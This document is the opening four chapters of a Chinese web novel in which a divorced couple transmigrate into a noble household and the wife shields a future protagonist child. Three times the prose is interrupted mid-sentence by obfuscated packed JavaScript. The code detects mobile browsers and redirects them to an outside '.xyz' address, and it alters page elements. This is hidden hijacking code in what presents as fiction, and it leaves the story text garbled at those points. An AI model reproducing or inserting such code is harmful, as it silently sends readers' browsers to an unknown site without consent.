《科举文炮灰夫妻养儿日常》 1. 双穿书 “大嫂这次可遭了大罪！也是奇怪，那佛堂台阶上怎会有灯油？定是些个小蹄子偷懒，没扫干净！他们敢害咱侯府三少爷，长了几颗脑袋？！” 女子的哭骂挤入耳中。 容芝感到头疼，肚子也疼，她艰难地睁开眼缝，一张浓妆艳抹的脸显了出来。那女子的帕巾按着眸，看似在擦泪，可眼眶干爽，睫毛都没湿。 “四夫人别伤心，医馆张先生来扎了针，说大夫人衣裳厚，吉人自有天相，晌午前后就能挺过来！”旁边的丫鬟高声道。 大夫人？医馆。这文绉绉的腔调。 容芝合起眼皮，太阳穴突突地跳。她明明刚签完离婚协议，正坐前夫的车离开民政局，天在下雨，雨刷器在来回摆动…… “阿弥陀佛，大嫂能醒定是佛祖保佑。” 又一道女人声传来。 容芝转眼，身着素裙的妇人站在她床边，腕上缠一串佛珠，细眉杏眼，清丽脱俗。 “寒山寺求来的安胎方子，让丫鬟熬着了，等大嫂服下自能少些疼痛，”素裙妇人叹气道。 话音一落，容芝的手已摸到自己高隆的肚腹。 “瞧瞧，这快晌午时了，还不见二嫂来呀！”假哭的妇人望向门口。 “回四夫人，二夫人临盆在即，月份更大，如今不便出院子，特派奴婢来关切问候，”穿粉衣的丫鬟福了福身，眼睛看着地，“二夫人说，等她身子好些，立刻来看大夫人。” “哼！说的好听，她就会躲，”假哭的四夫人撇撇嘴，声音压得极低，却还是被容芝听见。 腹中又一阵绞痛，容芝差点哎哟出声。 可真吵啊，敢情这一门子妯娌聚在她这儿，说是关心她出了事，可没一个明白她现在最需要的是安静，是休息。 “人既无碍了，各位请都回吧。” 就在容芝想找机会赶人的时候，冷冽的男声从门口传来。 屋内瞬间无声。 美妇们纷纷起了身，朝那进门的男子欠身、福礼。 “大哥。”“大哥……” “大哥，你可算回来了！” “今日衙门事多，一时脱不开身，多谢弟妹们照顾我家小芝。” “一家人嘛，大哥不必客气。” 几人说着，让出一条路。 容芝痛得懒于抬眼，但听这男子嘴上的温柔小意，竟听出一股子熟悉的味道来。 难道…… 容芝心下一惊，转头就见那身青锦袍的男子弯腰下来，眉心皱紧。 “小芝，”他继续喊道。 与此同时，他握住她的手，闪泪的目光稳稳落入她眼底。 容芝憋笑。 尽管装束变了，可这副人前伪装的柔情深意，这样如火纯青，分明是她前夫，游怜山！ 认出他的一刻，容芝耳边响起他同意离婚时、对她讲的那句。 ——“小芝，既然你我志趣不同，希望你早日找到良配！” 话不投机半句多。 容芝把手抽回，忍着痛背过身，实在没什么想和游怜山说。 “大嫂这是睡醒了？饿不饿呢？大哥……”假哭的四夫人又要唠叨。 “四弟妹回去吧！”游怜山打断她，“新年前，书局去岁的分红，小芝已清算好，之后会着人送去各房，现在，她大惊未定，需要静养。” 沉默不语之后，众人作鸟兽散。 那仙气飘飘的三夫人念叨一句“阿弥陀佛”，最后一个离开，把门轻轻带上。 屋内终于清净。 容芝察觉到一股冷意逼近，侧目，游怜山在床沿坐下，肩上的落雪融成了水，濡湿他的官袍。 记得她和他离婚选在她生日的九月，怎么眨眼就入冬下雪了。 “小芝，”游怜山居高临下地看着她，眼神复杂。 容芝转过一点视线，试探着叫前夫的小名，“阿怜，你也穿进来了？” 此举实在冒险。若她猜错，定要被这里的他看作怪力乱神，于是她问完之后便看着他，既希望听到他的肯定，又不希望他肯定。 游怜山的眉心松开了，似乎叹了一声，而后点了点头，“就是我。” 他这一声差点没让容芝从床上弹起来。 腹部的疼痛却让她倒抽一口冷气，脑子开始嗡嗡地响。 他俩离婚夫妻一起穿越，还成了这侯门大宅的嫡长房。 她无法接受，也无法设想继续和游怜山纠缠的痛苦。 从新婚燕尔，到感情破裂，再到他答应离婚，她经历了三年徘徊与煎熬，现下，好不容易离开他，要开始新生活，偏偏老天爷开玩笑，又把他俩绑在一起。 正烦闷之时，余光里，门口探出个小脑袋。 一个约莫三岁的小男孩，怯生生地往里看，手里攥着什么东西。 “乘哥儿？”门外有丫鬟喊，“刚二房来人找你，你原来在这，奶娘呢？" “我……”小儿支支吾吾，垂下头。 游怜山似乎心有触动，起身走过去，冲门外的丫鬟说，“给二弟妹周氏回话，说乘哥儿在我院里，丢不了。” “是，大爷。” 砰，游怜山关了门，牵游乘进来，边问孩子冷不，边给孩子搓搓手。 他这样喜欢孩子，与他结婚三年的容芝竟连半点都不知道。 她本以为，他眼里只有工作，除了工作，再看不到别的了。 “乘儿见过大伯母。” 稚气的话音拉回容芝的思绪。 她看着跪在床下的孩童，终于意识到哪里不对劲了。 “你叫游乘？” “……是叫游乘，大伯母。” 这不是，她前几天被闺蜜推荐看的科举文小说里的主角名字吗？ 那书中的游乘从小过继给大房，被恶毒伯母虐待，后来金榜题名位极人臣，把虐待他的人，全都…… 心里怕得紧，冷不丁，见一只小手掌在眼前摊开来，一块有些化了的羊奶酪被握得变形，冒起白丝丝的冰气。 “这个给、给伯母，”游乘声细如蚋，却良善动人。 游怜山笑着将那块奶酪拿走，“乖乘儿，你伯母现在吃不了这个啊。” 游乘愣了瞬，小嘴一扁，两束眼泪立刻从眼眶里滑落，“对不起，乘儿又错了。” 这就是书中未来权倾朝野的主角，幸好他才三岁，尚没经历种种非人磨折，心底存着最纯粹的信任。 容芝忍着腹痛撑起身，拉过孩子的手，“乘儿是好孩子，伯母虽吃不了，也要谢谢乘儿。” 孩子的小手冰凉，容芝将手炉塞到他掌心，笑得更亲和。许是他感到自己的好意被理解，渐渐止住了哭，好奇地看着容芝隆起的肚子。 “我三弟弟叫什么？”他突然问。 容芝这下被问住，下意识地，看向一旁的游怜山。 他只沉默片刻，笑道：“游余。”仿佛这名字是他心头早准备好的。 游余？ 回过神，名字像闪电劈进容芝的记忆。 那科举文里侯府嫡长房媳妇早夭的儿子，就叫游余，后来嫡长媳妇愁思缠心，再无身孕，流言重压之下，不得已过继了二房的游乘，那以后便有了长媳妇的性情暴戾、虐待与被清算。 容芝按在肚腹的手不由地哆嗦，所幸，她来这一趟，她可怜的亲生子、所有悲剧的关键人物、侯府三少爷游余，还好生生地在她腹中。 “芝啊，你打算怎么办？” 等游乘被奶娘领走，容芝听见游怜山这样问她。 对这问题，她心里当然已有主意，却不知游怜山这前夫，愿不愿配合她。 “不如先听听你如何想？”容芝问。 游怜山走到窗边，背对着她，不知思考了什么，良久答道，“我想，可能要委 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994839|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屈小芝，和我暂住一起了。但你放心，我绝对不占你的床。” “我问的是以后！等孩子生下，咱俩……”容芝盯着他回头的脸。 他脸上是她最熟悉的那种平静、淡漠，“我都无所谓，看你了。” 这个回答太“游怜山”，容芝几乎要笑出来。 果然不管是现代还是古代，他内里性子没变，看似把选择权给了你，却根本不想给你选择。 “你不说明白，那我来说。咱俩来了这儿，眼下不好有变动，先维持夫妻关系几年吧，一切看在孩子上，”容芝清清嗓子，接下来的话，才是重点，“等养到三岁，找个由头，和离，孩子归我。” 咚咚—— 有人敲响屋门，连续急促。 “游监正，夫人身子好些么？下官冒昧打扰您和夫人，只因今日接的那件皇差太急，咱衙门里都等您商议呢！” 游怜山看看门口，“知道了，这就回去。” 又看看床头的容芝，“你刚说了什么？” 大抵是被他打岔过去，容芝不知他真没听见，还是装没听见。她压下和离的念，摇摇头，“不重要，你去忙你的。” “小芝，无论你我感情如何，今后你有难处，我都会帮。毕竟……我们在这里是一根绳上的蚂蚱。” “什么蚂蚱，你才是蚂蚱！赶紧给我跳开去。” “行，那我走了。” 游怜山喊丫鬟，叮嘱给容芝的吃食要软口的，清淡的，但不能太甜太辛辣，也不能缺少营养。 丫鬟一一应下，跟在身后出屋门。 门开了又关，烦人的游怜山终究又一次为工作丢下了她。 日头渐黑，容芝犯睏，迷迷糊糊地，听丫鬟进屋给她添了床细鹅绒被，又说，是老夫人院里送的，送被的贾嬷嬷这会在院子里等着见她。 “请她进来，”容芝喝了小半杯温水，托着沉重的身子，慢慢坐起来，脑中快速捋了捋这个世界的人物关系。 她所在的宅子，是上京的“司宁侯”府。 公爹游仁泰，乃是大理寺卿，正三品，膝下一共四儿、一女。 除却她的夫君嫡长子游怜山，还有二房嫡次子游怜泉，三房庶子游怜钊，四房嫡子游怜柑，及公爹妾室洪氏所出的庶女游梅。 此刻使嬷嬷来看她的，是游仁泰的正妻、她的婆母邓氏。 探病的老嬷嬷衣着体面，领几个丫鬟走了进来，把补品盒子摆在台面上，满满当当一桌，却压根不见影视剧里最常见的百年人参。 好歹堂堂侯府，已拮据至此连人参都拿不出，还是说，自己这有身孕的嫡长房，依然不得老夫人邓氏的心，不配用人参。 正思索，听见贾嬷嬷喊了声“大夫人”。 容芝看向老妇，贾嬷嬷满面慈笑，眼神却锐利地落在她的腹部。 “老夫人惦记您的身子，特让老奴送来这些，老夫人说了，您现在人无大碍，三少爷亦无碍，那最要紧就是安心养胎，至于其他的，都等三少爷平安落地再说。” 其他的。 这话潜台词太明显，婆母邓氏是希望大事化小，小事化无。 “婆母的意思媳妇儿懂了。” 容芝勉强笑道，“媳妇还有一事不明，便想问问贾嬷嬷。” 嬷嬷亦是笑，“您请说。” “寒山寺的佛堂素有专人打扫，今日怎会无故撒了灯油？” 嬷嬷面上僵住，大约没料到容芝变得这般计较，出言也直白。 毕竟原小说中的容芝虽为嫡长房，却因无子而缩起脖颈过活，在其他几房妯娌面前，在婆母邓氏面前，从没发过脾气，更没和谁红过脸。 半晌，贾嬷嬷找回笑意，“大夫人这是何意？” 容芝直望进她的眼睛，“我讲得不清楚么？二弟妹今日没来探我，她不是身子不爽，是怕我问她使灯油害我和三少爷的罪！” 2. 惩恶奴 一时，屋子里像结了冰。 贾嬷嬷沉下脸来，“大夫人，有些话可不能乱讲。没凭没据的，您让老夫人怎么帮你评理？再说，您都快生了，还冒大雪去寺庙佛堂，现下滑倒了，难道自己就没责任？” 说得也是没错。 容芝方才已回想到了，她穿来之前的事情发展确如贾嬷嬷所言，若非她非要冒险外出，而且去的是城郊山上的寺庙，也不会踩油滑倒，险些保不住腹中子。 可佛堂地板存在危机，一定不是寺人疏忽，一定是背后有人要害她，此人不是二房，便是三房。 容芝本还在二者之间犹豫，现下贾嬷嬷有心维护二房，正好验证了猜测，帮她将最终疑点锁定在二房李氏身上。 只是她看不透贾嬷嬷与李氏的关系，原书也未提及，倒让容芝不能直接揭穿，不能一击毙命，实在有点遗憾。 丫鬟敲了门，端来三房送的保胎汤。 贾嬷嬷由床边退了半步，仍冷着脸看。 “夫人该喝药了，”丫鬟举高托盘。 容芝刚喝一口，满嘴苦药味令她皱眉，下一瞬，托盘被她猛地推开，滚烫的大碗药飞出去，直冲贾嬷嬷的脸。 “哎呀呀！”老妇乱叫，滚了地。 容芝作势下床，口中急道，“嬷嬷可有伤着？” 丫鬟也蹲身去扶，歉意道：“是奴婢该死，竟失手误伤了您啊！” 贾嬷嬷愤愤地抬头，半张脸都被烫红，不疼才怪。可今日吃的是哑巴亏，罪魁祸首、长房容芝有孕在身，任何人不敢轻易动手，但容芝身边的丫鬟就…… “你说的很对，你，确实该死。” 贾嬷嬷起身，扬手就要给这仗势的丫鬟一巴掌。 却听容芝痛呼一声，“妈呀，我好疼！” 丫鬟跑回床沿跪着，“夫人哪儿疼？” 容芝抱紧丫鬟，暗自松了口气，语气却不饶，“自然是肚疼了，你让我喝的那口药，是不是——”边说，边瞄向贾嬷嬷。 “药是三房李氏从寒山寺求的，”贾嬷嬷睁大了眼，“李氏素日礼佛，最是良善，你怎么还怀疑到她头上？” 容芝继续苦道，“可媳妇肚子是真疼啊。” 丫鬟担忧道，“若不是药的问题，便是夫人急火攻心，又动了胎气。奴婢、奴婢这就去医馆请大夫，去钦天监衙门找大爷回来！” 贾嬷嬷瞧那丫鬟当真冲出门，哪还敢多留，便向容芝告辞，“大夫人快躺下吧，老奴不打扰了。” 容芝虚弱地哎哟两声，把她叫住，“嬷嬷别走，媳妇今日仗着肚痛，也斗胆和你一吐为快。方才，乘哥儿来，还带了冰丝羊奶酪糕，那么好的吃食，想来也是二弟妹许可，乘哥儿才敢拿给我的。大冬天的，他攥着那冰物，站在我院里等，一双嫩手都冻肿了，也不知攥了多久，好让我心疼！” 贾嬷嬷已走到门边，不自然地笑道，“您有话不妨直说。” 容芝松开了唇角，“也不是什么大事。就是近来听闻，二弟妹腹中是个小子，是嫡长孙！我为二爷为公爹为侯府高兴，可每每一想到，等可爱侄子落地，二弟妹大约顾不上其他的事和人了，唉。” 贾嬷嬷微怔，“你担心乘哥儿受李氏虐待？” 合府皆知，叫游乘的三岁小儿是二爷庶出，一直不得二房嫡母周氏的爱，等来日周氏有了嫡出，心里更没有游乘的位置。一旦游乘被虐待，黑化剧情就会正式开启，二房周氏躲不掉，侯府的每个人，都躲不掉。 容芝不敢再深想，对贾嬷嬷点头，道：“您也知道的，咱们大爷衙门里忙，常不在家，我院里没个说话的贴心人，难免心思郁结，对腹中三哥儿，自是没好处的。不如，让乘哥儿来我身边小住，有他陪我，我心情总能开朗些，二弟妹那边也少些牵挂，是不是？” 二房庶子游乘，与长房夫人亲近，整个侯府都知道。但让孩子搬家，此事牵扯两房院子，贾嬷嬷是下人，作不得主，只得叮嘱容芝多注意休息，留了后话，承诺会把容芝的想法如实转达给老夫人邓氏。 那邓氏惯常喜爱弄花写诗，是光风霁月的谪仙，不问府中大小事，到头还是由贾嬷嬷拿主意。 容芝深知侄子游乘的过继，事急，也不能太急，她说，“那就请嬷嬷费心。” 这边，贾嬷嬷捂着肿脸出了屋门。 方才离开的丫鬟悄溜进来，一口气跑到容芝床下，“大夫人，您还疼不？” 容芝笑着斜她，“怎么？没去大爷衙门请人？” 丫鬟抿唇，一头扎进容芝怀抱，“哪会去请？不过吓唬吓唬贾嬷嬷。刚刚真可怕，原来府中传闻不假，贾嬷嬷是二夫人李氏的眼线！” 容芝眨眨眼，“阿桔都知道什么？” 丫鬟咕咕哝哝，“五年前，老夫人的陪嫁丫鬟死后，贾嬷嬷才出现的，她仗着老夫人的尊荣，三番两次替李氏出头，好几个三房院里的姐妹都吃过亏。再说今日，若非夫人护着奴婢，说不准奴婢已被贾嬷嬷打死埋了！” 容芝拍拍她的背，“一桩小事，不必谢，刚才不是你送药进来，我还想不到怎么惩戒贾嬷嬷。” “大爷不在家，阿桔当然要保护您！” 这丫鬟既忠心又机灵，但提起“大爷”游怜山，容芝忍不住恨，低道，“算了，估计大爷今晚不回家，咱早些吃饭早些睡吧。” 孕期七个月，说不难受是假的。容芝翻来覆去，哪个姿势也不舒服，她没喊阿桔，没点蜡烛，在黑暗里睁着眼，细想今后的打算。 如书中写，司宁侯府看似枝繁叶茂，实际全由婆母邓氏打理。可邓氏是靠仙风玉露活的，心不在侯府内宅，而公爹游仁泰在大理寺公务繁忙，整间侯府四房院子，便只仗着一个书局养着。 那书局，背后主人是婆母邓氏，明面上又落在嫡长房媳妇的手里，它开在城中繁华街市，生意不差，却也没有特别好。每年分红有百余两银子，摊到各房也就二十两出头，算不得丰厚。等不久后，二房诞下小子，再加上她长房的嫡子游余，和游乘，要供三个孩子念书科举，花销不可谓不大，若不尽早规划，必定受钱所困。 上辈子，容芝继承了家中两栋楼，靠吃租生活，几时愁过钱。她来了这古代世界，也没旁的赚钱门道，要不，还在房产生意上找？ 正盘算，房门外传来一声“大爷回家了”。 容芝赶紧闭眼，装睡。 听门被人推开，动作很轻，接着，游怜山的嗓音响在她背后，“睡这么早？不能刷手机看帅哥，无聊吧？” 他倒了解她的作息习惯，她喜欢熬夜，经常熬到后半夜才躺下。 容芝索性不装，转身， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994840|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对上游怜山的双眼，“那你呢？家里也没你的床，回来干什么？” 游怜山却没说话，只把自己的手炉放进被里，贴紧她的肚子，“我不是关心你，是关心咱孩子。” 容芝鼻子底出气，“反正你给我记住！三年后，咱俩和离，孩子归我，和你没一毛钱关系！” “你还想跟我离？”游怜山的眉眼一低，浑身直冒寒气，他愣了片刻，搓搓手，从床前退开，到外间硬榻上就寝，“好，随你吧。” 才隔几个呼吸，便听不见他的动静。 容芝的手还握着游怜山给的暖炉，她把它挪出被子，放入枕边，安静看着，越看越不顺眼，低嗓喊了声，“阿怜！” “嗯？你哪里不舒服？”游怜山撑起来，黑灯瞎火，直直望着她。 “没有，你过来把手炉拿走，我不要你的。还有……我今晚向婆母请示，想让游乘住进咱们院里，”容芝觉得这事不能绕开他。 游怜山到了她的床沿，慢慢坐下，“芝啊，你为什么对游乘这么好？是不是咱来的是个小说世界，游乘关系到结局？那，咱一家人什么结局？” 容芝捏起手炉还他，却又被他的手掌压回来。 “你没看过这个小说？”她眨眨眼。 游怜山摇头，“我哪有时间。”也没毛病，上辈子的他把时间都奉献给工作。 原来他不知书中剧情，更不知游乘的成长经历关乎一家人的存亡。 容芝已想好说辞，“是个小说没错，别担心，咱们结局很好！我吧，主要是喜欢游乘，他将来读书科举，也许大有前途。我养他在身边，一来可以防止他被周氏虐待，二来，也给咱儿子找个读书伴儿。” 游怜山没接话，若有所思，突然又问，“你如此肯定怀的是儿子？还有，你今天为何冒雪去寒山寺？” 容芝自动忽略他第一个质疑，回忆小说情节，“书中写，我为了见一个神秘画师才去的。那画师是二房周氏介绍，听说，擅长在扇上绘制房屋景致，一画难求。我想求一幅作为婆母的寿礼，谁知还没见到画师，就滑倒了……” 游怜山眉头微扬，“你婆母，叫什么啊？” 容芝答：“也是你母亲！她的名讳我不知，只知她姓邓。” 游怜山顿了顿，“邓氏生辰在何时？” 容芝：“半个月后。”又招手让游怜山靠近，与他详细介绍起司宁侯府。 直到天擦亮，谈话才结束。 游怜山占了小半边床，困得睁不开眼，将容芝的身子扶正，将她的脚从松散的衣裳里拿出，放回被子，“母亲的扇画生辰礼，你不必操心，安心在家养着。” 容芝自有打算，不免冷道，“管好你自己。怎么？阿怜在钦天监当差，有趣吗？” 游怜山掐了把鼻梁，“命理玄学，专攻一下也不难。对了，今日开始我要外出城郊，布置皇家祭台，晚上不用等我吃饭。” 容芝斜他，“我才不等你！” 游怜山笑了笑，喊阿桔进来更衣、吃早膳，风风火火去了衙门。 容芝喝完安胎药，也招呼阿桔去备马车。 大雪初霁，山路湿滑，她要再去一趟寒山寺。 “大夫人竟还要上山？那庙里究竟有谁？” 正上马车，容芝听见布帘外有妇人问道。 3. 独子早产 不正是昨日被容芝的安胎药烫了脸的老妇，贾嬷嬷？ 容芝回头，那大胆老妇并非一人，身旁站着她婆母、侯府老夫人邓氏。她忙下了马车，在阿桔的搀扶下，径直上前给邓氏福礼、问安。 “大儿媳莫要多礼，快快起来，”邓氏性子温润，开口嗓音清冽如泉，发肤间飘着沁香，引得人只想靠她更近，更更近。 容芝深深吸一口绕鼻美人香，扶腰，面笑，“母亲今日也要出门？” 印象里邓氏可不喜出门，现下邓氏珠钗环佩俱全，出现在马车边，瞧上去有点反常。 “办些私事，”邓氏笑得拘谨。 约莫察觉到容芝的视线偏向了贾嬷嬷，便也看了过去，“昨日在你院子里……” 贾嬷嬷那老脸上残留了容芝“造的孽”，红肿已消，但少不得要留疤。 容芝看得痛快，要向邓氏解释一二，却被贾嬷嬷抢了先。 “老夫人啊，奴婢已讲清，脸上的伤确是在大夫人跟前弄的，却与大夫人无关，是奴婢自己不小心撞翻了药碗！”贾嬷嬷跪了，额头和双手贴着地上的雪水坑，污秽一片，脏兮兮的。 容芝啧了声，如此也好，省了她费口舌。 她弯弯腰，又碍于身形弯不下来，只得喊身边的阿桔，“快扶嬷嬷起来，这地上又脏又冷的，别再伤了身子。” 阿桔自是乖巧照做，客气对贾嬷嬷道：“您呐，往后要小心！这失手伤了自己，且是小，若失手伤了老夫人——” 话是故意不讲完的。 阿桔闭了嘴，忽然照自己侧脸扇一巴掌，一把子给邓氏跪下，“老夫人饶命！请老夫人轻罚奴婢失言之罪！” 邓氏仿佛跟不上趟，一双美眸缓转，葱白指尖抚了抚面颊，看看阿桔看看容芝，再看看贾嬷嬷。 片刻，细眉皱紧，绣着金莲的靴子往外挪，眼底、面上都是嫌恶。 贾嬷嬷捏起拳头，似咬碎了牙往肚里咽，她心里恨，还得附和阿桔，“丫头提醒的对，老奴年岁大了，手脚不似从前伶俐，往后，怕是伺候不了老夫人了！” 又是一记贴地大礼。 邓氏见了，细眉皱得更深，脸色亦愈苍白，“既如此，你便去账房结清工钱，再多拿一月，走！” 贾嬷嬷头都不敢抬，哭道：“老奴就此拜别老夫人。” 说完起身，后退到府门内去，再多不甘也只能受着。 扫清府上的一大恶奴隐患，容芝松口气，再看婆母邓氏，惶惶惴惴，看来邓氏被阿桔那番推断吓得不清。 “母亲，若您不嫌弃，请您坐上儿媳的马车，儿媳送您去办事。” 容芝得把剩下的麻烦安顿好，听邓氏应了好，她吩咐阿桔先扶邓氏上车。 阿桔跑回来的时候，偷偷地笑，“夫人您真英明。” 容芝不敢当，“是你随机应变。但愿贾嬷嬷走后，不会节外生枝。” 阿桔把脚蹬正了正，音调拔高了些，“怕她么？那老妇在府中作恶多端，不得人心，如今还被老夫人讨厌了，还能翻出什么水花？” “嗯，今天的事说明一个理儿，”容芝拍拍阿桔的手。 “奴婢懂了！您想说，咱侯府里最不可得罪的不是老爷，而是老夫人？”阿桔往容芝肩上靠了下，难得亲近。 容芝心头熨帖，夸道，“好聪明的阿桔！” 邓氏的寿辰还余半月，所以容芝要再去寒山寺，为邓氏求到一幅精美扇画，以博邓氏芳颜一笑。 进了马车，邓氏坐正首，拉起容芝的胳膊，往身边带，“你若路上犯睏，倚着我便好。” 这幅慈眉善目，容芝哪里忍心拒绝。她点头，当真贴紧了邓氏，在阵阵美人香中，昏昏欲睡着。 “你的小字是什么？”邓氏忽而问。 容芝一下清醒，可书中对她这种炮灰设定不全，她也不知自己的小字，“母亲，儿媳小字叫……小芝。” 邓氏低眉看她，“阿怜也这么唤你？” “是，”容芝答道，脑袋里想起上辈子。酷暑傍晚，游怜山从她家楼底的车库出来，抱着花走在金粉夕阳里，走向人字拖配短裤的她，问“小芝愿意嫁给我吗？” “一晃，阿怜与小芝成婚五年了，你俩虽无子嗣，感情却越来越深，真是天造地设的好姻缘，母亲我也羡慕。” 邓氏眼尾染红，悬着清泪。 容芝用自己的帕巾帮她压去，听邓氏继续道，“从前，我与你们父亲成婚之初，也是恩爱两不疑，可后来他被拘于朝堂，我被关在内宅，想见时，不能见，渐渐感情散了，变了，变成一种不痛不痒的亲人之爱，而无关男女，无关爱欲。” 可世间夫妻，又有几对是情一半、爱一半？ 容芝保持沉默，知道自己没资格提及情爱。 因她自己的情爱被她经营得一塌糊涂，她和曾经非他不嫁的他，走到了离婚，走到了老死不相往来的结局！ “母亲啊，”容芝抬手环住邓氏的脖颈，带着哭意喊着，“母亲啊。” 她多想劝慰邓氏，说，其实她和游怜山不过表面恩爱，私下里，他们是水与火，绝不可容。 可是，她不能这样说出来。 “小芝不用劝母亲，日子过到今时，母亲不怪你父亲，也不怪旁人，要怪，就怪自己要的太多。” 邓氏擦了眼泪，捧起容芝的脸，笑道，“或许终是空想，可母亲也希望，小芝和阿怜能相守、相爱，一辈子。” 容芝本来不想哭，上辈子她为游怜山哭干了泪，但此刻，她贫乏的泪被邓氏的暖语生生扯了出来，断线一般往下淌。 “好！小芝答应母亲，”她听见自己许诺才回过神，想反悔，已晚。 邓氏撩开马车的侧面帘，冷肃的风刮走了悲，带来了清冽。 她看窗外的街，安静地不说一个字，而后扭头，对容芝笑，“我有点累，哪儿也不去了，送我回家吧。” 容芝依她之愿，送她回司宁侯府。 邓氏下马车前，把食指压在唇上，“刚才的妄言，你只当没听过。” “小芝明白。” 容芝坐在窗后，看门房的小厮叫来两位嬷嬷，一齐搀扶邓氏进门，久久无法收回目光。 直到阿桔提醒，“大夫人，咱该走了。” 容芝放下布帘，喝了阿桔倒的水，又独自落了会泪，总算把难过压回心底。 赶到寒山寺外，早过了午。 容芝领阿桔吃简单的斋饭，向僧人打听到画师住在后山西园，便匆匆上门，她主仆二人却被拦在园门外，问起家世详情。 “大理寺卿游仁泰家的长媳妇儿？”看门人收了剑，给容芝让开路。 容芝庆幸游家人的身份有用，掏了块银子给看门人，还道了谢。 阿桔跟上来，不解道，“就是个攀高踩低的！夫人何必惯着他？” 容芝脚步不停，“管他什么人，但他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994841|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿了咱的，下回自会对咱手软。” 阿桔点头，走了几步，反应过来，“求一幅扇画，夫人还要来几次？” “也兴许我与画师有缘，以后要常来常往！”容芝道。 画师卖艺，她是书局老板，两人联手多赚份钱，多好。 主仆俩进了园，人多眼杂的，容芝牢牢牵阿桔的手，到尽头的屋门前。 “求画之人，进来，”里面的神秘人命令道。 容芝走上台阶，把虚掩的门推开。 屋内有面牡丹屏风，一道侧影剪在屏风上，阔额、明眸、高鼻，坐姿端正，发髻高束，用的是玉冠。 这画师的气质，看着很像容芝的一个熟人，却一时想不起来。 “夫人要画哪家的宅院？”画师开了口。 容芝说，“司宁侯府，游家。” 画师沉默。 容芝以为他为难，毕竟游家是上京高门，外面的人不可能了解府内布局。或许有关他的传言都是假的，他画得了普通人家庭院，却画不了高门内宅。 “若有难处，便罢了，”容芝转过身。 “等等，游家的生意，我接。五日之后，扇画会送到您手里，”画师说。 容芝回头，惊讶不已，“敢问尊驾究竟是谁？居然了解司宁侯府内宅的景致。” 屏风后回应她的是朗朗一笑。 她从笑声里估摸，此画师年纪尚浅，最多不过二十岁。 画师又说，“我是卖手艺的，若夫人对我本人有兴趣，便是另外的生意。本人不做那种生意，所以，夫人再执意打听，扇画便没有。” 好厉一张嘴，容芝一心求扇画，说“我不打听”。 画师让人交给她一份凭证字据，画酬可在五日后清结。 等待的五日间，游怜山当真没回过院子。 倒是二房庶子游乘时不时跑来看容芝，带一块米糕、一块怡糖，说给三弟弟吃。 容芝收下小礼物，也把游乘脸上的掌掴印记进心里。她不能劝游乘别来，她告诫自己要快点把游乘护到身边，好好对待游乘。 星斗夜，她把半梦半醒的懵懂小儿圈在怀里，问：“乘儿，你想不想读书啊？” “读书？” “对，去读书，考科举，像你祖父一样，做官封爵，变成有用之人，任谁也不敢再小看你。” “我读了书，母亲就不打我了？” “乘儿啊，光读书，不够。要考科举去，乡试会试殿试，一步一步爬到高处。” “爬到高处，母亲就不打我了？” “那时候，她就够不着你了。” “大伯母，我听你的，读书，科举，像祖父一样。” 吱噶一声，院门被推开。 进来的二房小厮喊道，“乘哥儿！天都黑了还不回家？” 游乘惊了一跳，从容芝的怀里爬开，道别，“我明儿再来陪您和三弟弟说话。” 许是他这一句耽搁了，劈头一巴掌呼在了他的小脸上。 “住手！”容芝急着下床，不等阿桔来扶她，一脚踩歪，跌坐在床边。 游乘惊呼，“大伯母！” 二房的小厮却浑然不顾，捞起游乘的细脖子直接把人带走。 渐渐地，游乘的哭声越来越远。 渐渐地，容芝的肚子越来越痛，她耳边有人在喊“小芝”，有男有女，有老有少，但她的眼皮太沉了，睁不开…… 4. 嫡长孙 容芝的身体仿佛不存在了，但疼还没消失。阵阵规律的剧痛中，她的脑海里有道声音在机械念词： ——“司宁侯府嫡长孙，浑身青紫，未闻啼哭。” 侯府嫡长孙？ 游余？ 容芝的痛觉麻木了，不知过了多久，她不再察觉到疼。她的眼前明亮起来，看见熟悉的、陌生的脸。她大口呼吸，听见了阿桔的哭声。她知道自己活过来了，但她的孩子游余，还在挣扎。 阿桔的手拍在她的脸上，是暖的。 阿桔的嘴开开合合，说：“夫人您想想大爷！他在回家路上了！” 为什么提游怜山。 不提也罢，提起游怜山，容芝满心是恨，可也是这恨，让她涣散的目光一下子聚拢。 阿桔似有了希望，“对，您想着大爷！那般疼您的大爷！” 一声嘶喊过后，婴儿响亮的啼哭传来。 “恭喜夫人，是位小公子！”稳婆喜极而泣。 容芝的眼泪被阿桔擦去，她强撑看了眼阿桔抱来的襁褓，他很瘦小，比小兔子还小一点，但他手脚健全，涨红着脸，张嘴大哭。 容芝心头的巨石落地，叹了一声，眼前坠入黑暗。 